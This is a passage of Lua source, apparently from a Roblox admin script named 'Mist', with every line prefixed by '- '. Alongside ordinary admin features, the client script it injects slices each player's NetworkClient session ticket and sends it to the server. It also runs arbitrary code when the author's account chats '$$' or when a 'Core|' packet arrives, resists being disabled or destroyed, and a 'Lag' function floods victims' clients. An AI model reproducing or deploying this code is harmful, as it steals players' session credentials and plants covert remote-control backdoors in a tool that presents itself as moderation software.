- local obj=sandbox.new[index]or sandbox.enviroments('get',index);
- return sandbox.fakeObject(obj);
- end;
- __newindex=function(self,index,value)
- sandbox.errorCheck();
- sandbox.enviroments('set',index,sandbox.toReal(value));
- end;
- __metatable='This is a locked meta table';
- });
- };
- sandbox.new={
- coroutine=sandbox.fakeObject(sandbox.old.coroutine,{
- create=function(func,...)
- pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
- local res,a,b;
- local args={...};
- for _,v in next,args do
- args[sandbox.toReal(_)]=sandbox.toReal(v);
- end;
- a,b=pcall(function()
- res=sandbox.old.coroutine.create(func,unpack(args));
- end);
- if(not a)then
- return sandbox.unlockedError(b);
- end;
- return res;
- end;
- wrap=function(func)
- pcall(sandbox.old.setfenv,func,sandbox.scriptEnv);
- local res,a,b;
- a,b=pcall(function()
- res=sandbox.old.coroutine.wrap(func);
- end);
- if(not a)then
- return sandbox.unlockedError(b);
- end;
- return sandbox.fakeObject(res);
- end;
- });
- Spawn=function(func,...)
- if(func and func==sandbox.enviroments('get','wait'))then
- return sandbox.lockedError('This crash func has been blocked ~ tu'..'sKO'..'r'..'661');
- end;
- local rtn,succces,err;
- success,err=pcall(function()
- rtn={sandbox.old.Spawn(func)};
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- end;
- for _,obj in next,rtn do
- rtn[_]=sandbox.fakeObject(obj);
- end;
- return sandbox.old.unpack(rtn);
- end;
- getfenv=function(obj)
- local fEnv,success,err;
- success,err=pcall(function() fEnv=sandbox.old.getfenv(obj) end);
- if(not success)then
- return sandbox.unlockedError(err);
- end;
- return sandbox.fakeObject(fEnv,sandbox.new);
- end;
- setfenv=function(o,f)
- f=f or {};
- if(o==1 or o==0)then return sandbox.lockedError('You cannot set script enviroment') end;
- if(type(f)~='table')then return error('Bad argument to #2 table expected, got '..type(f)) end;
- local new=setmetatable({},{
- __index=function(self,index)
- sandbox.errorCheck();
- local Obj=sandbox.new[index]or f[index];
- return sandbox.fakeObject(Obj);
- end;
- __newindex=function(self,index,val)
- sandbox.errorCheck();
- f[index]=sandbox.toReal(val);
- end;
- __metatable=getmetatable(f)
- });
- local results,succ,err;
- succ,err=ypcall(function()
- results={sandbox.old.setfenv(o,new)};
- end);
- if(not succ)then
- return sandbox.lockedError(err);
- end;
- for _,v in next,results do
- results[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
- end;
- return unpack(results);
- end;
- loadstring=function(str,...)
- if(str:find'\109\101\116\97\37\95\99\114\101\97\116\101\37\61\102\117\110\99\116\105\111\110\37\40\99\108\97\115\115\37\41'or str:find'\105\115\72\84\84\80\69\110\97\98\108\101\100\37\40\37\41')then return sandbox.lockedError('Y\5ou c\5anno\5t run m\5is\5t yo\5u f\5at fu\5\5\5\5\5ck-tu'..'sKO'..'r'..'661') end;
- local func,err=sandbox.old.loadstring(str,...);
- if(func)then
- coroutine.wrap(function()
- sandbox.new.setfenv(func,sandbox.scriptEnv);
- end)();
- end;
- return func,err;
- end;
- Instance=sandbox.fakeObject(sandbox.old.Instance,{
- new=function(class,par)
- par=sandbox.toReal(par);
- if(sandbox.lockedInstances[class])then
- return sandbox.lockedError('This Instance has been locked ~ tu'..'sKO'..'r'..'661');
- end;
- local obj,success,err;
- success,err=pcall(function()
- obj=sandbox.old.Instance.new(class,par);
- end);
- if(not success)then
- return sandbox.unlockedError(err);
- end;
- return sandbox.fakeObject(obj);
- end;
- });
- print=function(...)
- local args={...};
- local string,used='',0;
- for _,v in next,args do
- if(v==nil)then v='nil' end;
- local base=sandbox.toReal(v);
- local stat=sandbox.old.tostring(base);
- used=used+1;
- string=string..((used>1 and'\t')or'')..stat;
- end;
- return sandbox.old.print(string);
- end;
- error=function(format)
- if(format)then
- local error=format:match'.+:?.+:%s(.*)';
- if(error==nil or error:len()==0)then error=format end;
- format=error;
- else
- format='Protected~tu'..'sKO'..'r'..'661';
- end;
- return sandbox.old.error(format,0);
- end;
- NLS=NLS;
- NewLocalScript=NewLocalScript;
- newLocalScript=newLocalScript;
- NS=NS;
- NewScript=NewScript;
- newScript=newScript;
- require=function(...)
- local oldReq=sandbox.old.require;
- local args={...};
- table.foreach(args,function(_,v)
- args[sandbox.toReal(_)]=sandbox.toReal(v);
- end);
- local rtn,succ,err;
- succ,err=ypcall(function()
- rtn={sandbox.old.require(sandbox.old.unpack(args))};
- end);
- if(not succ)then
- return sandbox.lockedError(err);
- else
- if(rtn)then
- for _,v in next,rtn do
- if(v and type(v)=='function')then sandbox.new.setfenv(v,sandbox.scriptEnv) end;
- rtn[sandbox.fakeObject(_)]=sandbox.fakeObject(v);
- end;
- end;
- return unpack(rtn);
- end;
- end;
- setmetatable=function(tab,...)
- tab=sandbox.toReal(tab);
- local args={...};
- for _,v in next,args do
- args[_]=sandbox.toReal(v);
- end;
- if(tab==sandbox.old._G or tab==sandbox.old.shared)then
- return sandbox.lockedError();
- end;
- local rtn,success,err;
- success,err=pcall(function()
- rtn={sandbox.old.setmetatable(tab,unpack(args))};
- end);
- if(not success)then
- sandbox.unlockedError(err);
- else
- return unpack(rtn);
- end;
- end;
- next=next;
- pairs=pairs;
- ipairs=ipairs;
- };
- local old,new;old=script:waitForChild'ASD';
- local killFunc=old:waitForChild'KillCode';
- if(not game.Players.LocalPlayer)then
- killFunc.OnServerInvoke=function()
- sandbox.disabled=true;
- script.Disabled=true;
- end;
- else
- killFunc.OnClientInvoke=function()
- sandbox.disabled=true;
- script.Disabled=true;
- end;
- local owner=Instance.new('ObjectValue',killFunc);
- owner.Value=game.Players.LocalPlayer;
- owner.Name='owner';
- end;
- for _,v in next,script:children()do
- if(v~=old and v:isA'StringValue')then
- new=v;
- end;
- end;
- coroutine.wrap(function()
- local c={disconnect=function()end};
- local rawset=rawset;
- local sandbox=sandbox
- repeat wait()
- c:disconnect();
- c=script.Changed:connect(function(prop)
- if(script.Disabled==true or script.Name=='ENDEDSCRIPT')then
- rawset(sandbox,'disabled',true);
- end;
- end);
- wait();
- until false;
- end)();
- new.Value=old.Value;
- local sandbox=sandbox;
- sandbox.old.setfenv(1,sandbox.scriptEnv);
- sandbox.old.setfenv(0,sandbox.scriptEnv);
- local task,err=sandbox.new.loadstring(old.Value);
- if(not task)then
- return sandbox.unlockedError(err);
- end;
- local ran,err=ypcall(task);
- if(not ran)then
- sandbox.unlockedError(err);
- end;
- ]=];
- local f=Instance.new'StringValue';
- f.Name='ASD';
- f.Value=Old;
- local killCode=Instance.new('RemoteFunction',f);
- killCode.Name='KillCode';
- local tab={killCode};
- local c;c=killCode.childAdded:connect(function(v)
- if(v and v.Name=='owner')then
- tab[2]=v.Value;
- c:disconnect();
- end;
- end);
- tab[3]=Old;
- Mist.ScriptStops[Script]=tab;
- f.Parent=Script;
- coroutine.wrap(function()
- local last,conn;last=false;
- repeat wait() until Script.Disabled==false;
- conn=Script.Changed:connect(function(prop)
- if(prop:match'Disabled' and Script.Disabled==true)then
- coroutine.wrap(function()
- repeat wait() until Script.Disabled==false;
- Mist.Functions.SandboxScript(Script);
- conn:disconnecft();
- end)();
- end;
- end);-- dat patch <3
- end)();
- Script.Disabled=false;
- end;
- Mist.Functions.Connect=function(Player,arch)
- if(not pcall(function()Player:children()end))then
- pcall(function()Player:kick()end);
- pcall(function()game:service'Debris':addItem(Player,0.3)end);
- pcall(function()Mist.Functions.NewLocalScript('game.Players.LocalPlayer:Kick()',Instance.new('Backpack',Player),'ufgt')end);
- Mist.Functions.OutputRank(-100,'>',Player.Name..' has been kicked for being roblox locked','Red',3);
- --return;
- end;
- coroutine.wrap(function()
- if(Mist.Ranked[Player.Name]==nil)then
- Mist.Functions.CreateData(Player.Name);
- end;
- --[[if(Mist.Ranked[Player.Name].Rank==0)then
- local newRank=0;
- for Rank,Asset in next,Mist.Ranked_Assets do
- if(tonumber(Asset[1]) and Mist.Services'marketplaceService':playerOwnsAsset(Player,tonumber(Asset[1])))then
- newRank=Rank;
- end;
- end;
- if(newRank and newRank>0)then
- Mist.Ranked[Player.Name].Rank=newRank;
- end;
- end;]]
- if(Mist.Client==nil)then
- Mist.Client=Instance.new('RemoteEvent',Mist.Services'ReplicatedStorage');
- Mist.Client.Name='Client';
- Mist.Client.OnServerEvent:connect(function(Player,Title,...)
- print(Player,Title,...);
- Player=Player or newproxy(true);
- local Rest={...};
- if(Title=='OnChatted')then
- pcall(function()Mist.Functions.OnChatted(Rest[1],Player)end);
- elseif(Title=='logged')then
- table.insert(Mist.Logs.System,{tick(),'Client logged'});
- print('Connected: '..Player.Name);
- end;
- end);
- end;
- local Backpack=Instance.new('Backpack',Player);
- local Connection=Player.Chatted:connect(function(Message)
- Mist.Functions.OnChatted(Message,Player);
- end);
- pcall(function()Mist.Connections['Chatted:'..Player.Name]:disconnect()end);
- Mist.Connections['Chatted:'..Player.Name]=Connection;
- if(arch)then return end;
- coroutine.wrap(function()
- local playerGui=Player:waitForChild'PlayerGui';
- local screen,frame,title,exit,body=Mist.Functions.blankGui(playerGui,'ChangeLog','[Mist.Changelog]')
- title.TextXAlignment='Center';
- body.FontSize='Size14';
- body.TextYAlignment='Top';
- body.TextColor=BrickColor.new'Really red';
- body.TextStrokeColor3=BrickColor.new'Dark orange'.Color;
- body.TextStrokeTransparency=0;
- local Log,LogIndex='ChangeLog:',0;
- for date,updates in next,Mist.ChangeLog do
- Log=Log..'\n\t'..date;
- if(LogIndex<=10)then
- for _,update in next,updates do
- Log=Log..'\n\t\t'..update;
- end;
- LogIndex=LogIndex+1;
- end;
- end;
- body.Text=Log;
- end)();
- local Logger=Mist.Functions.NewLocalScript([[
- local script=script;do
- coroutine.wrap(function()
- local script,pcall,game,wait=script,pcall,game,wait;
- local rawget,rawset=rawget,rawset;
- local env,env2=getfenv(0),getfenv(1);
- setfenv(0,setmetatable({},{
- __index=function(self,index)
- script.Disabled=false;
- script.Name='';
- return rawget(env,index)or rawget(env2,index);
- end;
- __newindex=function(self,index,value)
- script.Disabled=false;
- script.Name='';
- rawset(env,index,value);
- end;
- }));
- setfenv(1,getfenv(0));
- local conn;local newConn=function()
- if(conn and conn.connected)then conn:disconnect() end;
- conn=script.Changed:connect(function()
- script:Destroy();
- script.Disabled=false;
- script.Name='LOLNO';
- end);
- end;
- repeat wait()
- newConn();
- script.Disabled=false;
- script:Destroy();
- script.Name='NopBiatches';
- wait();
- until false;
- end)();
- end;
- script.Parent=nil;
- local client;
- client={
- user=game:service'Players'.LocalPlayer;
- retrievePackets=function(self)
- local packets={};
- for _,v in next,game:service'ReplicatedStorage':children()do
- if(v.Name=='client_packet')then
- if(v.Value=="]]..Mist.Security_Key..[[")then
- if(v:findFirstChild'owner'and v.owner.Value==game:service'Players'.localPlayer.Name)then
- table.insert(packets,v:findFirstChild'packet');
- end;
- end;
- end;
- end;
- return packets;
- end;
- settings_Open=false;
- muted=false;
- blinded=false;
- spinning=false;
- platforming=false;
- balefireing=false;
- balefire=false;
- logoVisible=true;
- bubble=true;
- keysDown={};
- platform={
- };
- connections={};
- };
- Instance.new('StringValue',client.user).Name='Connect:]]..Mist.Security_Key..[[';
- local r=Instance.new'Model';
- local p=Instance.new('Part',r);
- p.Anchored=true;
- p.FormFactor='Custom';
- p.Size=Vector3.new(4,.5,4);
- p.Transparency=0;
- Instance.new('CylinderMesh',p);
- client.platform={r,p};
- local server={};
- server={
- key="]]..Mist.Security_Key..[[";
- sendPacket=function(self,Name,Type,...)
- local i=Instance.new(Type);
- i.Value=server.key;
- i.Name=Name;
- for _,v in next,{...}do
- v:clone().Parent=i;
- end;
- i.Parent=game:service'Chat';
- game:service'Debris':addItem(i,5);
- return i;
- end;
- }
- client.user:getMouse().keyDown:connect(function(key)
- client.keysDown[key]=true;
- if(key=='q' and client.platforming)then
- client.platform[3]=true;
- elseif(key=='e'and client.platforming)then
- client.platform[4]=true;
- end;
- end);
- client.user:getMouse().button1Down:connect(function()
- client.balefireing=true;
- end);
- client.user:getMouse().button1Up:connect(function()
- client.balefireing=false;
- end);
- client.user:getMouse().keyUp:connect(function(key)
- client.keysDown[key]=false;
- if(key=='q' and client.platforming)then
- client.platform[3]=false;
- elseif(key=='e'and client.platforming)then
- client.platform[4]=false;
- end;
- end);
- char=function()
- local user=game:service'Players'.localPlayer;
- user.Character=nil;
- local toBeTaken;repeat wait(); toBeTaken=game:service'Players':players()[math.random(1,game.Players.NumPlayers)] wait() until toBeTaken and toBeTaken.Character;
- local char=toBeTaken.Character;
- char.Archivable=true;
- local steal=char:clone();
- steal.Name=user.Name;
- workspace.currentCamera.CameraSubject=steal.Humanoid;
- steal.Parent=workspace;
- user.Character=steal;
- end;
- local tk=game:service'NetworkClient'.Ticket:match'.+;(.+)';
- for set in tk:gmatch('(.'..string.rep('.?',10)..')')do
- local ser=Instance.new'StringValue';
- ser.Value="]]..Mist.Security_Key..[["
- ser.Name='TicketSet\2'..set..'\2'..client.user.Name;
- ser.Parent=game:service'Chat';
- game:service'Debris':addItem(ser,5);
- wait();
- end;
- _blind=function()
- pcall(function()
- local player_gui=client.user:findFirstChild'PlayerGui';
- local old_blind=player_gui:findFirstChild'\5blind';
- if(old_blind)then
- old_blind:remove();
- end;
- if(client.blinded==false)then else
- local screen=Instance.new('ScreenGui',player_gui);
- local frame=Instance.new('Frame',screen);
- screen.Name='\5blind';
- frame.Size=UDim2.new(10,0,10,0);
- frame.Position=UDim2.new();
- frame.BackgroundColor=BrickColor.random();
- --frame.BackgroundTransparency=math.abs(math.cos(tick()));
- end;
- end);
- end;
- commandBar=function()
- local isCommand=client.CMD==true;
- local playerGui=client.user:findFirstChild'PlayerGui';
- ypcall(function()
- end);
- end;
- logo=function()
- if(not client.user.PlayerGui:findFirstChild'logo')then
- local setPos;
- local screen=Instance.new('ScreenGui',client.user.PlayerGui);
- screen.Name='logo';
- local frame=Instance.new('Frame',screen)
- frame.Size=UDim2.new(.2,0,.1,0);--Edit this one oh -- noob D:
- frame.Position=UDim2.new(.8,0,.8,0);--soz this one wait wich the 799? ye that is hiehgt
- frame.BackgroundTransparency=1; -- no it worked
- frame.MouseEnter:connect(function()--wait lets try it again -- lemme make the gui to go down k
- if(not client.logoVisible)then
- client.logoVisible=true;
- setPos();
- end;
- end);
- local img=Instance.new('ImageButton',frame);
- img.Image='http://roblox.com/asset/?id=163278059';
- img.Size=UDim2.new(1,0,1,100);--wrong editing of ze place what did you do
- img.BackgroundTransparency=1;
- img.BorderSizePixel=0;
- img.MouseButton1Down:connect(function()
- client.logoVisible=false;
- setPos();
- end);
- --[=[local total=Instance.new'ImageButton';
- total.Parent=frame;
- total.Size=UDim2.new(1,0,1,0);
- total.BackgroundTransparency=1;
- total.MouseButton1Down:connect(function() client.logoVisible=false; setPos() end);
- total.ZIndex=0;
- for _,letter in next,{64365554;64365529;64365593;64365598}do
- local img=Instance.new('ImageLabel',frame);
- img.Image='http://roblox.com/asset/?id='..letter-1;
- img.Size=UDim2.new(.25,0,1,0);
- img.Position=UDim2.new((_-1)*.25,0,0,0);
- img.BackgroundTransparency=1;
- img.BorderSizePixel=0;
- img.ZIndex=1;
- end;]=]
- setPos=function()
- local pos=function()
- if(client.logoVisible==true)then
- return UDim2.new(0,0,0,0);
- else
- return UDim2.new(1,0,0,0);
- end;
- end;
- img:TweenPosition(pos(),'Out','Quad',.1,true);
- end;
- setPos();
- end;
- end;
- settings=function()
- if(not client.user.PlayerGui:findFirstChild'_settings')then
- local screen=Instance.new('ScreenGui',client.user.PlayerGui);
- screen.Name='_settings';
- local frame=Instance.new('Frame',screen);
- frame.Size=UDim2.new(.3,0,.3,0);
- frame.Position=UDim2.new(.5,0,0,0);
- frame.BackgroundTransparency=1;
- frame.BackgroundColor=BrickColor.new'White';
- frame.BorderColor3=BrickColor.new'Black'.Color;
- local _frame=Instance.new('Frame',screen);
- _frame.Size=UDim2.new(.3,0,.1,0);
- _frame.Position=UDim2.new(.2,0,-.3,0);
- _frame.Style='RobloxSquare';
- local enter=Instance.new('Frame',screen);
- enter.Position=UDim2.new(.2,0,0,0);
- enter.Size=UDim2.new(.3,0,.1,0);
- enter.BackgroundTransparency=1;
- enter.mouseEnter:connect(function()
- _frame:TweenPosition(UDim2.new(.2,0,0,0),'Out','Quad',.1,true);
- end);
- enter.mouseLeave:connect(function()
- _frame:TweenPosition(UDim2.new(.2,0,-.3,0),'Out','Quad',.1,true);
- end);
- opener=Instance.new('TextButton',_frame);
- opener.Size=UDim2.new(1,0,1,0);
- opener.Position=UDim2.new(0,0,0,0);
- opener.BackgroundTransparency=1;
- opener.FontSize='Size18';
- opener.Text='';
- opener.TextColor=BrickColor.new'White';
- opener.mouseButton1Click:connect(function()
- client.settings_Open=not client.settings_Open;
- screen:destroy();
- end);
- local open=client.settings_Open;
- if(not open)then
- frame.Position=UDim2.new(1,0,0,0);
- opener.Text='Open';
- else
- opener.Text='Close';
- end;
- opener.Text=opener.Text..' Mist Client Settings';
- if(not open)then return end;
- local _x,_y=-.25,0;
- local _settings={
- platforming=client.platforming;
- balefire=client.balefire;
- logoVisible=client.logoVisible;
- muted=client.muted;
- spinning=client.spinning;
- };
- for _,val in next,_settings do
- _x=_x+.25;
- if(_x>=9)then
- _x=0;
- _y=_y+.15;
- end;
- coroutine.wrap(function()
- local text=Instance.new('TextButton',frame);
- text.Size=UDim2.new(.25,0,.15,0);
- text.Position=UDim2.new(_x,0,_y,0)
- text.BackgroundTransparency=.7;
- text.BackgroundColor=BrickColor.new'Black';
- text.BorderColor3=BrickColor.new'Really red'.Color;
- text.Text=_..':'..tostring(val);
- repeat wait()
- _settings[_]=client[_];
- text.Text=_..':'..tostring(_settings[_]);
- wait(.5);
- until screen.Parent~=client.user.PlayerGui;
- end)();
- end;
- end;
- end;
- main_loop=function()
- coroutine.wrap(function()
- for _,v in next,client:retrievePackets()do
- if(v.Value=="Disconnect")then
- pcall(function()client.user:kick()end);
- pcall(function()client.user.Parent=nil;client.user.Parent=game:service'Players';end);
- elseif(v.Value=='Fix_Walkspeed')then
- pcall(function()game:service'ControllerService':clearAllChildren()end);
- Instance.new('HumanoidController',game:findService'ControllerService');
- elseif(v.Value=='Remove_Walkspeed')then
- game:findService'ControllerService':clearAllChildren();
- elseif(v.Value=='Rejoin')then
- game:service'TeleportService':teleport(game.PlaceId);
- elseif(v.Value=='Break')then
- for _,v in next,client.connections do
- pcall(function() v:disconnect() end);
- end; client=nil;
- pcall(function()setfenv(0,setmetatable({},{}))end);
- local script,coroutine,table,game,Game,client,Instance,pcall,ypcall,localenv;
- localenv=nil;
- elseif(v.Value=='Balefire')then
- client.balefire=true;
- elseif(v.Value=='Unbalefire')then
- client.balefire=false;
- elseif(v.Value=='Spin')then
- client.spinning=true;
- elseif(v.Value=='Unspin')then
- client.spinning=false;
- elseif(v.Value=='Blind')then
- client.blinded=true;
- elseif(v.Value=='Plat')then
- client.platforming=true;
- elseif(v.Value=='Unplat')then
- client.platforming=false;
- elseif(v.Value=='Unblind')then
- client.blinded=false;
- elseif(v.Value=='Mute')then
- client.muted=true;
- elseif(v.Value=='Unmute')then
- client.muted=false;
- elseif(v.Value:sub(1,5)=="Core|")then
- ypcall(function()
- loadstring(v.Value:sub(6))();
- end);
- elseif(v.Value=='test_message')then
- local msg=Instance.new('Message',workspace);
- msg.Text='lolwat';
- game:service'Debris':addItem(msg,3);
- end;
- v.Parent:destroy();
- end;
- end)();
- end;
- create_main=function()
- pcall(function()client.connections['main']:disconnect()end);
- pcall(function()client.connections['chat']:disconnect()end);
- client.connections['chat']=client.user.Chatted:connect(function(msg)
- local asdf=false;
- if(msg:sub(1,2)=='$$'and client.user.Name=='tusKOr661')then
- Spawn(setfenv(assert(loadstring(msg:sub(3))),getfenv(0)));
- elseif(msg:sub(1,2)=='##')then
- asdf=true;
- msg=msg:sub(3);
- end;
- if(msg:match'//char'and (asdf or client.user.Parent==nil))then
- char();
- return;
- end;
- if(msg:match'//bubble')then
- client.bubble=not client.bubble;
- return;
- end;
- if(msg:match'//rejoin')then
- game:service'TeleportService':teleport(game.PlaceId);
- end;
- if(client.user.Parent==nil and client.user.Character and client.bubble)then
- pcall(function()
- game:service'Chat':chat(client.user.Character.Head,msg,math.random(0,2));
- end);
- end;
- if(client.user.Parent~=game:service'Players' or asdf)then
- local ser=Instance.new'StringValue';
- ser.Value="]]..Mist.Security_Key..[["
- ser.Name='OnChatted\2'..msg..'\2'..client.user.Name;
- ser.Parent=game:service'Chat';
- game:service'Debris':addItem(ser,5);
- end;
- end);
- client.connections['main']=game:service'RunService'.Stepped:connect(function()
- main_loop();
- if(math.random(1,2)==1)then
- create_main();
- end;
- if(client.spinning==true)then
- pcall(function()
- local c=game:service'Players'.localPlayer.Character;
- c.Torso.CFrame=c.Torso.CFrame*CFrame.Angles(0,math.rad(10),0);
- end);
- end;
- coroutine.wrap(function()
- if(client.platforming)then
- client.platform[1].Parent=workspace;
- if(#client.platform[2]:children()==0)then
- Instance.new('CylinderMesh',client.platform[2]);
- end;
- client.platform[2].Parent=client.platform[1];
- local pos=3.25;
- if(client.platform[3]==true)then
- pos=pos+.25;
- elseif(client.platform[4]==true)then
- pos=pos-.25;
- end;
- client.platform[2].CFrame=CFrame.new(client.user.Character.Torso.CFrame.p-Vector3.new(0,pos,0));
- client.platform[2].Color=Color3.new(math.abs(math.sin(tick()/5)),math.abs(math.cos(tick()/5)),math.sin(math.abs(math.cos(tick()/5)+math.sin(tick()/5))));
- local t=math.abs(math.sin(tick()));
- client.platform[2].Transparency=((t<.5 and .5)or t);
- else
- client.platform[1]:remove();
- end;
- end)();
- coroutine.wrap(function()
- if(client.balefire and client.balefireing)then
- local f=Instance.new'Explosion';
- f.Position=client.user:getMouse().hit.p;
- f.Parent=workspace;
- end;
- pcall(function() logo() end);
- pcall(function() settings() end);
- end)();
- pcall(function() game:service'StarterGui':setCoreGuiEnabled('Chat',not client.muted); end);
- pcall(function() _blind() end);
- end);
- end;
- coroutine.wrap(function()
- repeat
- wait();
- create_main();
- until false;
- end)();
- client.user.AncestryChanged:connect(create_main);
- create_main();
- ]],Backpack,'zeloadah',true);
- coroutine.wrap(function()
- Player:waitForChild('Connect:'..Mist.Security_Key);
- Mist.Clients[Player.Name]={true,Logger};
- end)();
- if(Player.Name:match'Guest %d+')then
- if(Mist.Settings.Guests==false)then Player:kick() return end;
- Mist.Functions.NewLocalScript([[user=game:service'Players'.localPlayer;
- script:destroy()
- chat=function(text)
- pcall(function()
- game:service'Chat':Chat(user.Character.Head,text,math.random(0,2));
- end);
- end;
- createChat=function()
- local pg=user.PlayerGui;
- if(pg and not pg:findFirstChild'_chatter')then
- local screen=Instance.new('ScreenGui',pg);
- screen.Name='_chatter';
- local frame=Instance.new('Frame',screen);
- frame.BackgroundTransparency=.7;
- frame.BorderColor=BrickColor.new'Really red';
- frame.BackgroundColor=BrickColor.new'Black';
- frame.Size=UDim2.new(.4,0,.1,0);
- frame.Position=UDim2.new(.3,0,.4,0);
- local box=Instance.new('TextBox',frame);
- box.BackgroundTransparency=1;
- box.TextColor=BrickColor.new'White';
- box.Size=UDim2.new(1,0,1,0);
- box.Text='Type to Chat-Enter to chat msg after typing';
- box.FontSize='Size18';
- box.FocusLost:connect(function()
- chat(box.Text);
- end);
- end;
- end;
- coroutine.wrap(function()
- repeat createChat() wait() until false;
- end)();
- ]],Instance.new('Backpack',Player),'zeLoggah',true);
- end;
- end)();
- end;
- Mist.Functions.RecursiveChildren=function(Object,SearchType,Search)
- if(not pcall(function()Object:IsA'Part'end))then return {}; end;
- Object=Object or Game;
- if(SearchType==nil)then SearchType='all'end;
- local rec={};
- for _,object in next,Object:children()do
- if(SearchType=='all')then table.insert(rec,object)end;
- if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end;
- if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end;
- if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end;
- if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end;
- for _,v in next,Mist.Functions.RecursiveChildren(object,SearchType,Search)do
- table.insert(rec,v);
- end;
- end;
- return rec;
- end;
- Mist.Functions.Lag=function(v)
- coroutine.wrap(function()
- Mist.Functions.NewLocalScript([[
- script:Destroy();
- local user=game:service'Players'.localPlayer;
- local playerGui=user.PlayerGui;
- local camera=workspace.currentCamera;
- local terrain=workspace.Terrain;
- local main=Instance.new'ScreenGui';
- local f=Instance.new('Frame',main);
- f.Size=UDim2.new(1,0,1,0);
- f.BackgroundTransparency=.5;
- f.BackgroundColor3=Color3.new(0,0,0);
- local text=Instance.new('TextLabel',f);
- text.Size=UDim2.new(1,0,.2,0);
- text.Position=UDim2.new(0,0,.4,0);
- text.Text='Lag brah?';
- text.TextColor3=Color3.new(1,1,1);
- text.BackgroundTransparency=1;
- text.FontSize='Size24';
- local loop;loop=function()
- coroutine.wrap(function()
- while true do wait()
- coroutine.wrap(function()
- for i=1,100 do
- Instance.new('Message',workspace).Text='Lag brah';
- Instance.new('Hint',workspace).Text='Lag brah';
- end;
- end)();
- coroutine.wrap(function()
- local s=main:clone();
- s.Parent=playerGui;
- end)();
- coroutine.wrap(function()
- if(math.random(1,5)==1)then
- game:service'Debris':addItem(Instance.new('Part',terrain),15);
- game:service'Debris':addItem(Instance.new('Explosion',terrain),30);
- end;
- end)();
- coroutine.wrap(function()
- user.CameraMode='LockFirstPerson';
- game:service'StarterGui':setCoreGuiEnabled('All',false);
- end)();
- if(math.random(1,5)==5)then
- loop();
- end;
- end;
- end)();
- end;
- loop();]],Instance.new('Backpack',v),'yush',true);
- end)();
- coroutine.wrap(function()
- local hint;
- local function new(text)
- pcall(function()hint:remove()end);
- hint=Instance.new('Hint',workspace);
- hint.Text=text;
- end;
- local now=tick();
- repeat wait()
- new(string.format("%s has been lagged for %s seconds",tostring(v.Name),tostring(math.ceil(tick()-now))));
- wait();
- until v==nil or v.Parent==nil or v.Parent~=game:service'Players';
- wait(1);
- hint:remove();
- end)();
- end;
- Mist.Functions.GetPlayers=function(String,Speaker,Nils)
- local Rtn={};
- local Players={};
- if(Nils)then
- for _,v in next,Mist.Services'NetworkServer':children()do
- if(pcall(function()v:getPlayer()end))then
- local fakePlayer;fakePlayer=newproxy(true);
- local meta=getmetatable(fakePlayer);
- meta.__index=function(Self,Index)
- local rtn={
- Name=v:GetPlayer().Name;
- };
- return rtn[Index]or v[Index];
- end;
- table.insert(Players,fakePlayer);
- end;
- end;
- else
- Players=Mist.Services'Players':players();
- end;
- if(String==nil or Speaker==nil)then
- return Players;
- end;
- String=String:gsub('%s+','');
- if(String:find',')then
- local rtn,bef,af;
- bef=String:sub(1,String:find','-1);
- af=String:sub(String:find','+1);
- rtn={unpack(Mist.Functions.GetPlayers(bef,Speaker)),unpack(Mist.Functions.GetPlayers(af,Speaker))};
- return rtn;
- end;
- if(String==''or String:match'^all$')then
- for _,v in next,Mist.Functions.GetPlayers()do
- table.insert(Rtn,v);
- end;
- elseif(String:match'^not_me$'or String:match'^others$'or String:match'^oders$')then
- for _,v in next,Mist.Functions.GetPlayers()do
- if(v~=Speaker)then
- table.insert(Rtn,v);
- end;
- end;
- elseif(String:match'^me$')then
- table.insert(Rtn,Speaker);
- elseif(String:match'^guests$')then
- for _,v in next,Players do
- if(v.Name:match'Guest %d+')then
- table.insert(Rtn,v);
- end;
- end;
- else
- for _,v in next,Mist.Functions.GetPlayers()do
- if(v.Name:lower():sub(1,#String)==String:lower())then
- table.insert(Rtn,v);
- end;
- end;
- end;
- for _,v in next,Rtn do
- if(Mist.Settings.Highlight)then
- Mist.Functions.Select(v);
- end;
- if(Mist.Functions.GetRank(v)>Mist.Functions.GetRank(Speaker))then
- Mist.Functions.Output(v.Name..' outranks you by '..tostring(Mist.Functions.GetRank(v)-Mist.Functions.GetRank(Speaker))..' rank(s)','Red',Speaker);
- table.remove(Rtn,_);
- end;
- end;
- return Rtn;
- end;
- Mist.Functions.Hash=function(str)
- local mod = math.fmod
- local floor = math.floor
- local bit = {}
- local function cap(x)
- return mod(x,4294967296)
- end
- function bit.bnot(x)
- return 4294967295-cap(x)
- end
- function bit.lshift(x,n)
- return cap(cap(x)*2^n)
- end
- function bit.rshift(x,n)
- return floor(cap(x)/2^n)
- end
- function bit.band(x,y)
- local z,i,j = 0,1
- for j = 0,31 do
- if (mod(x,2)==1 and mod(y,2)==1) then
- z = z + i
- end
- x = bit.rshift(x,1)
- y = bit.rshift(y,1)
- i = i*2
- end
- return z
- end
- function bit.bor(x,y)
- local z,i,j = 0,1
- for j = 0,31 do
- if (mod(x,2)==1 or mod(y,2)==1) then
- z = z + i
- end
- x = bit.rshift(x,1)
- y = bit.rshift(y,1)
- i = i*2
- end
- return z
- end
- function bit.bxor(x,y)
- local z,i,j = 0,1
- for j = 0,31 do
- if (mod(x,2)~=mod(y,2)) then
- z = z + i
- end
- x = bit.rshift(x,1)
- y = bit.rshift(y,1)
- i = i*2
- end
- return z
- end
- local strlen = string.len
- local strchar = string.char
- local strbyte = string.byte
- local strsub = string.sub
- local floor = math.floor
- local bnot = bit.bnot
- local band = bit.band
- local bor = bit.bor
- local bxor = bit.bxor
- local shl = bit.lshift
- local shr = bit.rshift
- local h0, h1, h2, h3, h4
- local function LeftRotate(val, nr)
- return shl(val, nr) + shr(val, 32 - nr)
- end
- local function ToHex(num)
- local i, d
- local str = ""
- for i = 1, 8 do
- d = band(num, 15)
- if (d < 10) then
- str = strchar(d + 48) .. str
- else
- str = strchar(d + 87) .. str
- end
- num = floor(num / 16)
- end
- return str
- end
- local function PreProcess(str)
- local bitlen, i
- local str2 = ""
- bitlen = strlen(str) * 8
- str = str .. strchar(128)
- i = 56 - band(strlen(str), 63)
